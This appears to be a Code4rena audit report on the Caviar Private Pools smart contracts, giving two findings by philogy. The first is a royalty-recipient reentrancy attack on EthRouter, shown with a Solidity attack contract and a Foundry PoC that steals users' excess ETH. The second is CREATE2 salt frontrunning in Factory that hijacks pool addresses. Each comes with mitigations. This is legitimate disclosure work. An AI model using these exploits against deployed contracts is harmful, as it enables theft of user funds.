Caviar Private Pools - philogy's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L99-L144 https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L152-L209

Vulnerability details

Impact

The vulnerability allows NFT contract admins to steal positive slippage from users who are swapping via the EthRouter by configuring malicious royalty recipients.

Proof of Concept

Make the following change to the Milady contract in test/shared/Milady.sol (this ensures that the royalty recipient can actually be changed):

     function royaltyInfo(uint256, uint256 salePrice) public view override returns (address, uint256) {
-        return (address(0xbeefbeef), salePrice * royaltyFeeRate / 1e18);
+        return (royaltyRecipient, salePrice * royaltyFeeRate / 1e18);
     }
 }

Then define the following attack contract in test/EthRouter/Buy.t.sol:

contract BadRoyalty {
    EthRouter public immutable router;

    constructor(EthRouter r) {
        router = r;
    }

    receive() external payable {
        if (msg.sender == address(router)) return;
        // Reenter `EthRouter` to claim excess ETH.
        router.buy(new EthRouter.Buy[](0), 0, false);
    }
}

Then we can define and run our actual PoC test, add the following test to the test/EthRouter/Buy.t.sol contract and run with forge test --mt test_PoC_stealExcessETH -vvvv:

    function test_PoC_stealExcessETH() public {
        // Cache balance for comparison.
        uint256 balanceBefore = address(this).balance;

        // Deploy attack contract.
        BadRoyalty attackerContract = new BadRoyalty(ethRouter);

        // Configure & enable royalties.
        uint256 roy = 0.0001e18;
        milady.setRoyaltyInfo(roy, address(attackerContract));
        PrivatePool(buys[1].pool).setPayRoyalties(true);

        maxInputAmount = 0;
        uint256 totalRoyalties = 0;
        // Change buy amounts to be able to cover royalties and sum values.
        for (uint256 i; i < buys.length; i++) {
            uint256 baseAmount = buys[i].baseTokenAmount;
            uint256 newBaseAmount = baseAmount * (1e18 + roy) / 1e18;
            totalRoyalties += newBaseAmount - baseAmount;
            buys[i].baseTokenAmount = newBaseAmount;
            maxInputAmount += newBaseAmount;
            // Set fee rate to `0` to simplify math for the sake of the PoC.
            PrivatePool(buys[i].pool).setFeeRate(0);
        }

        // Action: User's buy gets executed.
        ethRouter.buy{value: maxInputAmount}(buys, 0, false);

        // Show that all `maxInputAmount` was used i.e. no value was returned.
        assertEq(balanceBefore - address(this).balance, maxInputAmount);

        // Show that the malicious royalty recipient received more than just their royalties
        assertGt(address(attackerContract).balance, totalRoyalties);
    }

The above PoC is the technically simplest version of the attack, when the malicious royalty recipient is receiving royalties in the last buy. However, note that this vulnerability is exploitable by any royalty recipient. The main difference is that a royalty recipient that is not last cannot claim the entirety of the ETH in the router via a simple, lone call to buy or sell as some of the ETH in the router is required for the following buy/sell swaps of the victim to not revert. In that case the attacker needs to ensure they're leaving sufficient ETH in the contract to allow the remaining swaps to complete. In practice this could be achieved via a frontrunning bot that watches for swaps in the mempool and configures the malicious royalty recipient with the right amount of ETH to return to the router so that the leftover swaps complete.

Tools Used

Manual review.

Recommended Mitigation Steps

In EthRouter use the return values from the buy/sell functions to track how much ETH was actually used and returned from the pools so that a specific return ETH amount can be required instead of relying on address(this).balance which can be modified from other contexts.

Alternatively (but more gas intensive) you could add a shared reentrancy lock to all methods that can be used to pull ETH from the router: buy and sell.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/Factory.sol#L71-L125

Vulnerability details

Impact

Attackers can frontrun the creation of "Private Pools" via calls to the Factory contract's create method by submitting their own creation call with an identical _salt parameter. This allows an attacker to censor/DoS a user, preventing them from creating pools. Not only that, the attacker will be deploying pools under their full control to the address(es) the original user (victim) expected their pools to be deployed to. If the victim sent funds to the deterministically determined pool address in advance or even deployed other interfacing contracts connected to that pool the attacker will have full access to those assets/systems.

Proof of Concept

Add the following test to test/Factory/Create.t.sol and execute with forge test -vvv --mt test_PoC_canDuplicateDeployment:

    function test_PoC_canDuplicateDeployment(bytes32 triedSalt, address randDeployer) public {
        vm.assume(randDeployer != address(0));

        // Setup
        milady.transferFrom(address(this), randDeployer, 1);
        tokenIds.push(1);
        milady.transferFrom(address(this), randDeployer, 2);
        tokenIds.push(2);
        milady.transferFrom(address(this), randDeployer, 3);
        tokenIds.push(3);
        vm.prank(randDeployer);
        milady.setApprovalForAll(address(factory), true);

        address detPoolAddress = factory.predictPoolDeploymentAddress(triedSalt);

        // act
        vm.deal(randDeployer, baseTokenAmount);
        vm.prank(randDeployer);
        PrivatePool privatePool = factory.create{value: baseTokenAmount}(
            baseToken,
            address(milady),
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            triedSalt,
            tokenIds,
            baseTokenAmount
        );

        // Show that private pool is identical to deterministic deployment address **independent**
        // of deployer
        assertEq(address(privatePool), detPoolAddress);

        assertEq(
            factory.ownerOf(uint256(uint160(address(privatePool)))),
            randDeployer
        );
    }

The test shows that regardless of the deployer the address is tied solely to the salt and any deployer can deploy a pool with their parameters to the relevant address. The attacker could then withdraw any token via the private pool's withdraw method.

Tools Used

Manual review.

Recommended Mitigation Steps

The pool deployment CREATE2 salt should be dependent on the deployer so that even if 2 deployers reuse the same "base salt" the final address will be the same. In the contract this can be achieved by changing the following line in the Factory contract:

         // deploy a minimal proxy clone of the private pool implementation
-        privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt)));
+        privatePool =
+            PrivatePool(payable(privatePoolImplementation.cloneDeterministic(keccak256(abi.encode(msg.sender, _salt)))));
 
         // mint the nft to the caller
         _safeMint(msg.sender, uint256(uint160(address(privatePool))));